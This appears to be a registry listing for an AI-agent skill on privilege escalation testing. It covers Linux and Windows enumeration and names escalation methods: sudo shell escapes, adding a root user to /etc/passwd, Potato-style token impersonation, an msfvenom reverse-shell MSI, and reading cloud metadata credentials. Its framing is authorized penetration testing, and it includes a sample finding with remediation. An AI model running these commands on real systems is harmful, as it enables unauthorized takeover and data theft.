Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionperforming-privilege-escalation-assessmentExecute the skills CLI command in your project's root directory to begin installation:
Fetches performing-privilege-escalation-assessment from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate performing-privilege-escalation-assessment. Access via /performing-privilege-escalation-assessment in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | performing-privilege-escalation-assessment |
| description | 'Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment. ' |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | - privilege-escalation - post-exploitation - Linux-privesc - Windows-privesc - local-exploitation |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | - Executable Denylisting - Execution Isolation - File Metadata Consistency Validation - Restore Access - Password Authentication |
| nist_csf | - ID.RA-01 - ID.RA-06 - GV.OV-02 - DE.AE-07 |
Do not use without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.
Gather comprehensive information about the target system:
Linux Enumeration:
id && whoami - Current user and group membershipsuname -a - Kernel version for kernel exploit identificationcat /etc/os-release - Distribution and versionsudo -l - Commands the current user can run as root via sudofind / -perm -4000 -type f 2>/dev/null - SUID binariesfind / -perm -2000 -type f 2>/dev/null - SGID binariescrontab -l && ls -la /etc/cron* - Scheduled tasks running as rootps aux | grep root - Processes running as rootcat /etc/passwd - User accounts (look for additional users with UID 0)find / -writable -type d 2>/dev/null - World-writable directorieslinpeas.sh for automated comprehensive enumerationWindows Enumeration:
whoami /priv - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)systeminfo - OS version, hotfix level, architecturewmic service get name,pathname,startmode - Unquoted service pathsicacls "C:\Program Files" /T - Writable directories in Program Filesreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - AlwaysInstallElevated checkcmdkey /list - Stored Windows credentialsschtasks /query /fo LIST /v - Scheduled tasks with their run-as accountswinPEAS.exe for automated comprehensive enumerationTest identified escalation vectors systematically:
sudo -l shows entries like (ALL) NOPASSWD: /usr/bin/vim, use GTFOBins to escalate:
sudo vim -c ':!/bin/bash' to spawn a root shellgetcap -r / 2>/dev/null to find binaries with elevated capabilities (cap_setuid, cap_dac_override)echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwdTest Windows-specific escalation paths:
SeImpersonatePrivilege (common for service accounts and IIS):
JuicyPotato.exe, PrintSpoofer.exe, or GodPotato.exe to impersonate SYSTEMPrintSpoofer.exe -i -c "cmd /c whoami" -> NT AUTHORITY\SYSTEMC:\Program Files\My App\service.exe) and you can write to an intermediate directory:
C:\Program Files\My.exe which will execute when the service restartsmsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o shell.msimsiexec /quiet /qn /i shell.msicmdkey /list, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell historyTest for escalation paths in containerized and cloud environments:
--privileged), has the Docker socket mounted (/var/run/docker.sock), or has SYS_ADMIN capabilityhttp://169.254.169.254/latest/meta-data/) to discover IAM roles, credentials, and instance informationDocument the complete escalation path and business impact:
| Term | Definition |
|---|---|
| SUID Binary | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |
| SeImpersonatePrivilege | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |
| Kernel Exploit | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root/SYSTEM-level access |
| GTFOBins | A curated list of Unix binaries that can be exploited for privilege escalation, file read/write, or shell escape when misconfigured |
| LOLBAS | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |
| DLL Hijacking | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |
| Token Impersonation | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |
SeImpersonatePrivilege to achieve SYSTEM-level access from service accountsContext: During a penetration test, the tester gained a low-privilege shell as www-data on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.
Approach:
linpeas.sh which identifies that www-data can run /usr/bin/find as root via sudo without a passwordsudo -l: (root) NOPASSWD: /usr/bin/findfind sudo entry: sudo find . -exec /bin/bash -p \; -quit/etc/shadow to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PIIPitfalls:
## Finding: Sudo Misconfiguration Allowing Root Escalation via find
**ID**: PRIV-001
**Severity**: Critical (CVSS 8.8)
**Affected Host**: web-prod-01 (10.10.5.15)
**OS**: Ubuntu 22.04 LTS
**Initial Access**: www-data (via PHP file upload - WEB-004)
**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching
**Description**:
The www-data user is configured in /etc/sudoers to execute /usr/bin/find as root
without a password. The find command supports the -exec flag which can spawn a
root shell, effectively granting www-data unrestricted root access.
**Proof of Concept**:
www-data@web-prod-01:~$ sudo -l
(root) NOPASSWD: /usr/bin/find
www-data@web-prod-01:~$ sudo find . -exec /bin/bash -p \; -quit
root@web-prod-01:~# id
uid=0(root) gid=0(root) groups=0(root)
**Impact**:
Full root access on the production web server. From root, the tester accessed
database credentials in /var/www/app/.env, connected to MySQL, and confirmed
read access to 75,000 customer records including names, emails, and addresses.
**Remediation**:
1. Remove the /usr/bin/find sudo entry for www-data
2. If find access is required, restrict it to specific directories with --no-exec
3. Audit all sudo entries for binaries listed in GTFOBins
4. Implement sudo logging with auditd for all privileged command execution
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
performing-privilege-escalation-assessment fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
Registry listing for performing-privilege-escalation-assessment matched our evaluation — installs cleanly and behaves as described in the markdown.
performing-privilege-escalation-assessment is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
I recommend performing-privilege-escalation-assessment for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
performing-privilege-escalation-assessment reduced setup friction for our internal harness; good balance of opinion and flexibility.
performing-privilege-escalation-assessment fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
Keeps context tight: performing-privilege-escalation-assessment is the kind of skill you can hand to a new teammate without a long onboarding doc.
performing-privilege-escalation-assessment has been reliable in day-to-day use. Documentation quality is above average for community skills.
performing-privilege-escalation-assessment reduced setup friction for our internal harness; good balance of opinion and flexibility.
I recommend performing-privilege-escalation-assessment for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
showing 1-10 of 61